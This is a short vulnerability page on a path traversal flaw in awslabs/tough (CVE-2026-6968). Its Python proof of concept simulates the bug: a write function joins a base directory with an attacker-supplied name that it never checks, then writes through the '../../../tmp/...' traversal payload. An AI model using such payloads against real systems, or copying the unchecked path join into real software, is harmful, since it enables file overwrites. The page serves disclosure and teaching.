CVE-2026-6968 awslabs/tough路径遍历漏洞

# Conceptual PoC for Path Traversal in awslabs/tough (CVE-2026-6968) # This demonstrates the logic flaw where path validation is missing. import os def vulnerable_write(base_dir, user_controlled_filename, content): # Simulating the vulnerable behavior in tough < v0.22.0 # The code joins the path but fails to verify the resolved path is still within base_dir. # Scenario 1: Absolute path usage (if input allows absolute paths) # If user_controlled_filename is "/etc/malicious", os.path.join might ignore base_dir depending on implementation. # Scenario 2: Path traversal via symlinks or relative paths target_path = os.path.join(base_dir, user_controlled_filename) # Vulnerability: No check like 'os.path.abspath(target_path).startswith(os.path.abspath(base_dir))' # after resolving symlinks (os.path.realpath). print(f"[*] Attempting to write to: {os.path.realpath(target_path)}") with open(target_path, 'w') as f: f.write(content) print("[+] Write operation completed.") # Exploit Example # Attacker uses delegated signing authority to specify a malicious target. # Using '../' to escape the intended directory. malicious_payload = "../../../tmp/pwned_by_cve_2026_6968.txt" vulnerable_write("/var/tough/repository", malicious_payload, "EXPLOITED")